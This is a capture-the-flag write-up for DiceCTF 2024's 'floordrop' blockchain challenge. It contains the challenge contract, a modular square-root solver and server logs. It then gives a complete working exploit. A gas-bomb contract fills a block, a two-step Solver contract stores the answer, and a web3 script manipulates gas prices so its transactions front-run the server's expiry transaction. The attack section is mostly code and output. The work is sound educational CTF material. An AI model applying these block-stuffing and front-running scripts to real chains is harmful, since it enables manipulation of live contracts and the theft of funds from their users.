https://ctftime.org/event/2217
I participated in DiceCTF Quals with CyKor and was interest in three challenges.
- floordrop
- what-a-jpeg-is
- dicediceotter
I tried a PGD-attack on what-a-jpeg-is but failed and didn't have the courage to start dicediceotter.
analysis
pow.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.22;
contract Owned {
address payable owner;
constructor() {
owner = payable(msg.sender);
}
// Access control modifier
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract ProofOfWork is Owned {
uint256 public currentChallenge;
uint256 public currentBlock;
event GotFlag(uint256 indexed nonce);
function setChallenge(uint256 challenge) public onlyOwner {
currentChallenge = challenge;
currentBlock = block.number;
}
function expireChallenge() public onlyOwner {
currentChallenge = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
}
function solveChallenge(
bytes calldata solution,
uint256 solver_nonce
) public {
if (currentBlock != block.number) {
revert("Too late");
}
if (currentChallenge == 0) {
revert("Challenge is not yet active");
}
if (
currentChallenge ==
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
) {
revert("Challenge has expired");
}
uint256 _currentChallenge = currentChallenge;
assembly {
// Free memory pointer
let pointer := mload(0x40)
let base_len := solution.length
mstore(pointer, base_len)
mstore(add(pointer, 0x20), 1)
mstore(add(pointer, 0x40), 5568)
calldatacopy(add(pointer, 0x60), solution.offset, base_len)
mstore8(add(add(pointer, 0x60), base_len), 2)
let exp_start := add(add(add(pointer, 0x60), base_len), 1)
for {
let i := 32
} lt(i, 5568) {
i := add(i, 32)
} {
mstore(
add(exp_start, i),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
)
}
mstore(
exp_start,
0x1ffffffffffffffffffffffffffffffffffffffffffffffffffff
)
let ret := staticcall(
gas(),
0x05,
pointer,
sub(add(exp_start, 5568), pointer),
exp_start,
5568
)
if iszero(ret) {
mstore(0, 0x1)
revert(0, 32)
}
let result := mload(add(exp_start, 5536))
let success := 0
if eq(result, _currentChallenge) {
for {
let i := 0
} lt(i, 5536) {
i := add(i, 32)
} {
let check := mload(add(exp_start, i))
if gt(check, 0) {
mstore(0, 0x2)
revert(0, 32)
}
}
success := 1
}
if eq(not(result), _currentChallenge) {
for {
let i := 32
} lt(i, 5536) {
i := add(i, 32)
} {
let check := mload(add(exp_start, i))
if gt(add(check, 1), 0) {
mstore(0, 0x3)
revert(0, 32)
}
}
{
let check := mload(exp_start)
if iszero(
eq(
check,
0x1ffffffffffffffffffffffffffffffffffffffffffffffffffff
)
) {
mstore(0, 0x4)
revert(0, 32)
}
}
success := 1
}
if iszero(success) {
mstore(0, 0x5)
revert(0, 32)
}
}
emit GotFlag(solver_nonce);
}
}
The 0x5 is a precompiled contract supporting BigModExp operation.
https://github.com/ethereum/go-ethereum/blob/master/core/vm/contracts.go#L61.
https://app.dedaub.com/decompile?md5=e20d9587c62f0676598157609010dc69
calldata
return
(left-zero-pad)
Consequently,. the solveChallenge() requires a caller to satisfy one of two equations.
1. solution^2 mod p == current_challenge
2. solution^2 mod p == p - current_challenge
solve.py
import sys
import gmpy2
MODULUS = 2**44497-1
def sloth_root(x, p):
exponent = (p + 1) // 4
x = gmpy2.powmod(x, exponent, p)
return int(x)
def solve_challenge(x):
y = sloth_root(x, MODULUS)
return y
def main():
chal = int(sys.argv[1])
sol = solve_challenge(chal)
print(sol.to_bytes((sol.bit_length() + 7) // 8, 'big').hex())
if __name__ == '__main__':
main()
MODULUS is a prime such that p = 3 mod 4
https://lcn2.github.io/mersenne-english-name/m44497/prime-c.html
So we can find a modulus of square root with the simple way.
However, the bit length of MODULUS is very very very long and it takes more than 5s in my environmnet.
infra
Welcome to Floordrop: Time Warp! Can you pick up the flag in time?
1. Solve a mock challenge (extra time to solve)
2. Solve the real challenge
3. Exit
Please choose an option: 1
Preparing challenge...
[2024-02-04 12:21:16.354597] Deploying challenge contract...
[2024-02-04 12:21:21.525273] Challenge contract deployed at 0x2356377E7353FE956fd02A8A8eb84ADd167bDDef
[2024-02-04 12:21:21.526494] Challenge nonce: 0xdf35c0a630e7abdb373831b7c47e79abcf3235fbf9e313100f16a6a2cfe7b483
[2024-02-04 12:21:21.526522] Use this nonce when calling solveChallenge, i.e. solveChallenge(solution, nonce), remember solution is big endian bytes, and nonce is uint256
[2024-02-04 12:21:21.526550] MOCK: setChallenge will be called with: 129121721261020899191208319706888856561
[2024-02-04 12:21:21.526560] MOCK: Waiting for 5 seconds to give you a chance to compute the solution...
[2024-02-04 12:21:26.861795] The challenge will be set momentarily...
[2024-02-04 12:21:31.490502] Sent setChallenge transaction 0xa812fd2c4b2b8178a07dca553b9194998fdfdd8e5cc50b5d1e4225d6f0ec99df; waiting 2secs before sending expireChallenge transaction...
[2024-02-04 12:21:33.490893] Sent expireChallenge transaction 0xeb3be603107e2991284ae23af038bc33bdf8c9fa04a2576d91eb48140f3e00b4
[2024-02-04 12:21:33.490932] Waiting for transactions to finalize...
[2024-02-04 12:21:41.642236] Set challenge transaction finalized in block 28193
[2024-02-04 12:21:41.642275] Expire challenge transaction finalized in block 28193
[2024-02-04 12:21:42.322810] We did not find the correct GotFlag event. Better luck next time!
Welcome to Floordrop: Time Warp! Can you pick up the flag in time?
1. Solve a mock challenge (extra time to solve)
2. Solve the real challenge
3. Exit
Please choose an option: 2
Preparing challenge...
[2024-02-04 12:46:33.581271] Deploying challenge contract...
[2024-02-04 12:46:41.306614] Challenge contract deployed at 0x4c9897d44F9cf572BdEC8acc6C92f4787aeE95Ba
[2024-02-04 12:46:41.307731] Challenge nonce: 0xef4e22d43cc66ead910b8f7b87ddf4b591f3e1601ddbb4495e888bc28f8a3570
[2024-02-04 12:46:41.307751] Use this nonce when calling solveChallenge, i.e. solveChallenge(solution, nonce), remember solution is big endian bytes, and nonce is uint256
[2024-02-04 12:46:41.606216] The challenge will be set momentarily...
[2024-02-04 12:46:51.391412] Sent setChallenge transaction 0x1cb42eaf917bafad523ba429bccb08309d7d863fb3912f722a3be7b692a79cc1; waiting 2secs before sending expireChallenge transaction...
[2024-02-04 12:46:53.401424] Sent expireChallenge transaction 0x7517bec9d5842cfc015bf862e1eccd41b2427e56f09cae6854e602c82e7274b0
[2024-02-04 12:46:53.401467] Waiting for transactions to finalize...
[2024-02-04 12:47:01.375045] Set challenge transaction finalized in block 28345
[2024-02-04 12:47:01.375080] Expire challenge transaction finalized in block 28345
[2024-02-04 12:47:01.722136] We did not find the correct GotFlag event. Better luck next time!
When a user connects to the server using nc, the server proceeds with the following steps.
1. deploy a challenge contract
2. call setChallenge()
3. call expireChallenge()
4. check GotFlag event
The difference between mock and real is that the mock provides the value of current_challenge in advance, giving a user time to calculate the square root.
However, the real's current_challenge is not provided, so we have to read the setChallenge() transaction and extract it from the calldata.
If we assume a minimum computation time of 5s, we won't be able to call solveChallenge() in time before expireChallenge() transaction is generated.
First, I explored how transaction ordering within a block works thorugh a block explorer.
As you can see from the genesis.json, block are generated every 10s uisng the PoA.
This is the transaction ordering mechanism of DiceChain discovered thorugh various tests.
1. accurate nonce if from field crashes
2. higher gasPrice
3. earlier received time
In the situation above, if all gas prices are the same, the pending transactions and ordering results would be as follows:
pending txs
| receive time | gas price | from | tx |
| T | G | server | setChallenge() |
| T+1 | G | server | expireChallenge() |
| T+2 | G | user | solveChallenge() |
ordering result
| execute order | receive time | gas price | from | tx |
| 1 | T | G | server | setChallenge() |
| 2 | T+1 | G | server | expireChallenge() |
| 3 | T+2 | G | user | solveChallenge() |
According to the block explorer, the gas prices of the server is 2000000016.
If user's gas price is higher than the server, the pending transactions and ordering results would be as follows:
pending txs
| receive time | gas price | from | tx |
| T | G | server | setChallenge() |
| T+1 | G | server | expireChallenge() |
| T+2 | G+1 | user | solveChallenge() |
ordering result
| execute order | receive time | gas price | from | tx |
| 1 | T+2 | G+1 | user | solveChallenge () |
| 2 | T+1 | G | server | setChallenge () |
| 3 | T+2 | G | user | expireChallenge () |
solveChallenge() would be reverted because setChallenge() isn't called yet.
idea
For the first attempt, I considered executing the square root operation in the bigmodexp contract.
However, trying to perform the calculation with bigmodexp in the EVM, which takes 5s in python, resulted in an out-of-gas.
contract Solver {
function fjiodsafjoidsafjasdoiji() public {
address payable addr = payable(msg.sender);
selfdestruct(addr);
}
function dniovandsvoinasdvoidn(
address target,
uint256 nonce,
bytes calldata chal,
bytes calldata eexp
) public {
bytes memory mem = new bytes(5568);
assembly {
// Free memory pointer
let pointer := mload(0x40)
let base_len := chal.length
let exp_len := eexp.length
mstore(pointer, base_len)
mstore(add(pointer, 0x20), exp_len)
mstore(add(pointer, 0x40), 5568)
calldatacopy(add(pointer, 0x60), chal.offset, base_len)
calldatacopy(add(add(pointer, 0x60), base_len), eexp.offset, exp_len)
let exp_start := add(add(add(pointer, 0x60), base_len), exp_len)
for { let i := 32 } lt(i, 5568) { i := add(i, 32) } {
mstore(
add(exp_start, i),
0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
)
}
mstore(
exp_start,
0x1ffffffffffffffffffffffffffffffffffffffffffffffffffff
)
let ret := staticcall(
gas(),
0x05,
pointer,
sub(add(exp_start, 5568), pointer),
exp_start,
5568
)
let memPtr := add(mem, 0x20)
for { let i := 0 } lt(i, 5568) { i := add(i, 0x20) } {
let data := mload(add(exp_start, i))
mstore(add(memPtr, i), data)
}
}
ProofOfWork(target).solveChallenge(mem, nonce);
}
}
The second attempt involved using the gas limit of 30,000,000 per block to consume all the gas.
pending txs
| receive time | gas price | from | tx | gas |
| T | G | server | setChallenge() | 60,000 |
| T+1 | G+2 | user | bomb() | 27,000,000 |
| T+2 | G | server | expireChallenge() | |
| T+3 | G+1 | user | solveChallenge() |
ordering result
| execute order | receive time | gas price | from | tx |
| 1 | T+1 | G+2 | user | bomb() |
| 2 | T | G | server | setChallenge() |
| mined | - | - | - | - |
| 3 | T+3 | G+1 | server | solveChallenge() |
| 4 | T+2 | G | user | expireChallenge () |
By calling gas bomb, the strategy was to consume all the gas in a block, delaying the execution of transactions solveChallenge() and expireChallenge() to the next block.
This means that by gaining the 10s, there is sufficient time to perform the square root calculation.
However, in this case, solveChallenge() would throw a "too late" error,
To leverage the fact that the submission order and execution order of transactions can vary based on gasPrice and gasLimit, I divided the solveChallenge() process into two steps.
setStorage(): Update the storage variable to ensure that solveChallenge() is called successfully.
callSolveChallenge(): Call solveChallenge() with the value stored in the storage variable.
In other words, by using bomb() to secure 10s, the last submitted transaction, setStorage(), will have the highest priority in the next block, ensuring the ideal execution order.
pending txs
| receive time | gas price | from | tx |
| T | G | server | setChallenge() |
| T+1 | G+2 | user | bomb() |
| T+2 | G | user | callSolveChallenge() |
| T+3 | G | server | expireChallenge() |
| T+4 | G+1 | user | setStorage() |
ordering result
| execute order | receive time | gas price | from | tx | gas |
| 1 | T+1 | G+2 | user | bomb() | 30,000,000 |
| mined | - | - | - | - | |
| 2 | T+4 | G+1 | user | setStorage () | |
| 3 | T | G | server | setChallenge() | |
| 4 | T+2 | G | user | callSolveChallenge() | |
| 5 | T+3 | G | server | expireChallenge() |
solve
The block explorer doesn't support selfdestruct(). 😅
Bomb
contract Bomb {
bytes st1;
bytes st2;
function adfgiuohdfghj(bytes calldata data) public {
bytes memory mem = data;
st1 = mem;
st2 = mem;
}
function fjadsifnvadsiovaiosv() public {
selfdestruct(payable(msg.sender));
}
}
Solver
contract Solver {
uint256 nonce;
bytes mem;
address target;
function af9678d1() public {
address payable addr = payable(msg.sender);
selfdestruct(addr);
}
function ef8feqw8fd(uint256 _nonce, address _target, bytes calldata _mem) public {
nonce = _nonce;
mem = _mem;
target = _target;
}
function sgert6789() public {
ProofOfWork(target).solveChallenge(mem, nonce);
}
}
solve.py
from web3 import Web3
import json
from solc import compile_source
import time
import gmpy2
from pwn import *
from eth_abi import encode
w3 = Web3(Web3.HTTPProvider("https://floordrop-rpc.hpmv.dev/"))
#Check Connection
t=w3.is_connected()
print(t)
MODULUS = 2**44497-1
def sloth_root(x, p):
exponent = (p + 1) // 4
x = gmpy2.powmod(x, exponent, p)
return int(x)
def solve_challenge(x):
y = sloth_root(x, MODULUS)
return y
# To avoid nonce duplicate
# fake private keys
prikey = '0x07b1c315909058c038bc2d3dcd0382c2d64c378c6d6200fb26615d0bacae63bc'
prikey2 = '0x07b1c315909058c038bc2d3dcd0382c2d64c378c6d6200fb26615d0bacae63bd'
prikey3 = '0x07b1c315909058c038bc2d3dcd0382c2d64c378c6d6200fb26615d0bacae63be'
# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
PA2=w3.eth.account.from_key(prikey2)
PA3=w3.eth.account.from_key(prikey3)
myAddr=PA.address
myAddr2=PA2.address
myAddr3=PA3.address
nonce_1 = w3.eth.get_transaction_count(myAddr)
nonce_2 = w3.eth.get_transaction_count(myAddr2)
nonce_3 = w3.eth.get_transaction_count(myAddr3)
chainId = w3.eth.chain_id
r = remote("mc.ax", 32123)
r.sendlineafter("Please choose an option: ", "2")
r.recvuntil("Challenge contract deployed at ")
cont_addr = r.recvuntil("\n")[:-1].decode()
r.recvuntil("Challenge nonce: ")
nonce = int(r.recvuntil("\n")[:-1].decode(), 16)
r.recvuntil("The challenge will be set momentarily...")
time.sleep(8.8)
# bomb
calldata = "be4ece18" + encode(['bytes'], [b"b" * 0x10000]).hex()
func_call = {
"from": myAddr,
"to": "0xFf8d2E9B697d5556b7fbC568a0E355475f8Dd36D",
"nonce": nonce_1,
"gasPrice": int(2000000016 + 10),
"value": 0,
"chainId": chainId,
"data": calldata,
"gas": 30000000
}
signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
w3.eth.send_raw_transaction(signed_tx.rawTransaction)
# callSolveChallenge()
for i in range(5):
calldata = "8f93c394"
func_call = {
"from": myAddr3,
"to": "0xCE3E75F8eBA5F77290a7F1B175C9820D38eb9F41",
"nonce": nonce_3 + i,
"gasPrice": 2000000016,
"value": 0,
"chainId": chainId,
"data": calldata,
"gas": 1000000
}
signed_tx = w3.eth.account.sign_transaction(func_call, prikey3)
w3.eth.send_raw_transaction(signed_tx.rawTransaction)
r.recvuntil("Sent setChallenge transaction ")
tx1 = r.recvuntil(";")[:-1]
raw1 = w3.eth.get_transaction(tx1.decode())
hint = raw1['input'][4:].hex()
chal = int(hint, 16)
sol = solve_challenge(chal)
answer = sol.to_bytes((sol.bit_length() + 7) // 8, 'big')
# setStorage()
calldata = "c5a8a95b" + encode(['uint256', 'address', 'bytes'], [nonce, cont_addr, answer]).hex()
func_call = {
"from": myAddr2,
"to": "0xCE3E75F8eBA5F77290a7F1B175C9820D38eb9F41",
"nonce": nonce_2,
"gasPrice": 2000000016 + 5,
"value": 0,
"chainId": chainId,
"data": calldata,
"gas": 1040000
}
signed_tx = w3.eth.account.sign_transaction(func_call, prikey2)
w3.eth.send_raw_transaction(signed_tx.rawTransaction)
r.interactive()
dice{fr0ntrunn1ng_1s_n0t_ju5t_f0r_s4ndw1ch1ng_f8d9f834}
'writeups' 카테고리의 다른 글
| GCC CTF 2024 - web3 (0) | 2024.03.04 |
|---|---|
| LACTF 2024 - zerocoin, remi-s world (0) | 2024.02.19 |
| RealWorldCTF 2024 - blockchain(safebridge) (0) | 2024.01.28 |
| 2024MoveCTF (0) | 2024.01.28 |
| 2023 X-mas CTF (web3 - alpha hunter) (0) | 2023.12.31 |